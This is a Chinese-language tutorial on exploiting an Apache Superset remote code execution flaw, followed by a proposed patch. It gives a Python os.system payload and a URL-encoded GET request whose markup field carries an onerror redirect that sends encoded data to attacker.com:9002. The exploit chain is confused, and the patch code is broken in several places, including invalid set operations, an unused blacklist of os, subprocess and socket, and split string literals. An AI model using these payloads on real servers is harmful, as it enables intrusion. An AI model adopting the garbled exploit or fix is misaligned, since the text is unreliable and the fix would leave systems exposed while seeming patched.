如何进行Apache Superset远程代码执行漏洞
Apache Superset是一种基于Web的BI工具,可以用于数据可视化和数据探索。在Apache Superset中存在一个远程代码执行漏洞(CVE-2020-13951),攻击者可以利用该漏洞获得系统权限并执行恶意代码。本文将介绍如何进行该漏洞的攻击。
环境搭建
首先,我们需要搭建一个Apache Superset的环境。可以使用Docker安装Apache Superset:
docker run --name superset -p 8088:8088 amancevice/superset
访问http://localhost:8088即可访问Apache Superset。
漏洞分析
在Apache Superset的查询构建器中,存在一个名称为Markup的可选字段,攻击者可以在其中输入任意Python代码。当用户查询相应的数据时,此代码将被执行。
漏洞复现
使用以下代码来构建一个恶意Payload:
import os
os.system("touch /tmp/superset_pwned")
将Payload输入到查询构建器的Markup字段中,然后在需要的位置发送GET请求。
GET /superset/explore_json/?form_data=%7B%22datasource%22%3A%223__table%22%2C%22viz_type%22%3A%22markup%22%2C%22markup_type%22%3A%22markdown%22%2C%22markup%22%3A%22%60%60%3Cimg+src%3Dx+onerror%3Dlocation=%27http://attacker.com:9002%3Fx=%27+btoa(%27function+python()+%7B%5C%22python%5C%22%3A+%5C%22__import__(%27os%27).system(%27touch+/tmp/superset_pwned%27)%5C%22%7D%27)%3E%3C%60%60%22%2C%22adhoc_filters%22%3A%5B%5D%2C%22row_limit%22%3A1000%2C%22groupby%22%3A%5B%5D%2C%22timeseries_limit_metric%22%3A%7B%7D%2C%22order_desc%22%3Atrue%2C%22granularity_sqla%22%3Anull%2C%22having%22%3A%7B%7D%2C%22limit%22%3A%221000%22%2C%22time_grain_sqla%22%3Anull%2C%22all_columns%22%3A%5B%22*%22%5D%2C%22slice_id%22%3A1%2C%22adhoc_metric%22%3A%7B%7D%2C%22time_range%22%3A%22No+filter%22%2C%22since%22%3A%22100+years+ago%22%2C%22until%22%3A%22now%22%7D HTTP/1.1
攻击者可以将Payload中的恶意代码修改为自己需要的代码。由于Superset使用Markdown进行输入,所以需要使用反单引号来包含Payload。
结果验证
当成功执行Payload时,可以在/tmp目录中看到一个名为superset_pwned的文件。如果您在本地环境中运行Apache Superset,则可以通过以下命令检查文件是否存在:
ls /tmp | grep superset_pwned
修复建议
修复该漏洞可以在superset/views/core.py文件中,在MarkdownViz类的resolve_for_prepare_result方法中添加变量的筛选,只允许少数变量,限制变量的数量和种类。像下面这样:
def resolve_for_prepare_result(
self, query_obj: Dict[str, Any], result_type: Optional[str] = None
) -> Tuple[Optional[str], Dict[str, Optional[int]], Dict[str, Any]]:
# Only support SQLAlchemyTable datasource
table = self.datasource()
template_processor = get_template_processor()
#limit the Globals() variable and variables like filter_email_1 or filter_email_2
#origin code use allowlist_sym, but allowlist_funcs and blacklist_funcs are better
ALLOWED_GLOBALS = {'datetime', 'timedelta', '__builtins__'}
ALLOWED_FUNCS = {'meta'}
BLOCKED_FUNCS = set()
locals = template_processor.json_dumps(
{key: value for key, value in query_obj.items() if key != "templateParams"}
)
globals = template_processor.json_dumps(
{key: value for key, value in query_obj["templateParams"]["globalVariables"].items() if key in ALLOWED_GLOBALS}
)
#only allow for current filter variables and meta function for only sqla datasource
filter_names = [key for key in query_obj["templateParams"]["adhoc_filters"] if
query_obj["templateParams"]["adhoc_filters"][key][0]=='SQLAlchemyColumnDataSource']
funcs = query_obj.get("templateParams", {}).get("jsFunctions", {})
BLACKLISTED_FUNCTIONS = {'os', 'subprocess', 'Popen', 'Communicator', 'request', 'getpass', 'socket', 'input'}
funcs &= ALLOWED_FUNCS
block_funcs = BLOCKED_FUNCS & funcs
if block_funcs:
raise QueryObjectValidationError(
f"Prohibited JS function(s) used: {block_funcs}"
)
function_code = "
".join(funcs)
if function_code.strip():
function_code = f"""
Object.entries({function_code}).forEach(([k, v]) => {{
window[k] = v;
}})
"""
else:
function_code = ""
for filter_name in filter_names:
query_obj['templateParams']['adhoc_filters'][filter_name][1] = (
USE_TEMPLATE_VARIABLE_PREFIX + filter_name + USE_TEMPLATE_VARIABLE_SUFFIX
)
#allow meta functions, support to extract filter varibles
select_star = query_obj.get("select_star", False)
if select_star:
kw = {}
else:
kw = table.get_query_str(query_obj)
d = {"keys": {}, "html": ""}
try:
#noinspection PyUnresolvedReferences,PyProtectedMember
_exec_template_kw("markup", table.database, d, {"kwargs": kw}, locals, globals, user_func=function_code)
except Exception as e:
if is_module_installed("traceback"):
d["html"] = f"
python
{traceback.format_exc()}
d["keys"]["__form_data_error__"] = str(e)
else:
d["html"] = (
"An error occurred while rendering the viz. The following exception was thrown:
"
f"> {str(e)}"
)
return d["html"], d["keys"], {}
在修复补丁中添加了处理全局变量的处理,并且在处理临时过滤器时仅允许处理当前过滤器变量,还添加了一些黑名单函数进行限制。
总结
在本文中我们学习了如何利用Apache Superset漏洞进行恶意代码执行,同时我们也提出了补丁代码,以避免这个问题的发生。建议有关部门及时对相关环境进行检测,对漏洞进行修复。同时,也提醒各位开发人员要时刻关注Web应用程序中的漏洞,以及要遵守安全编码的 实践。
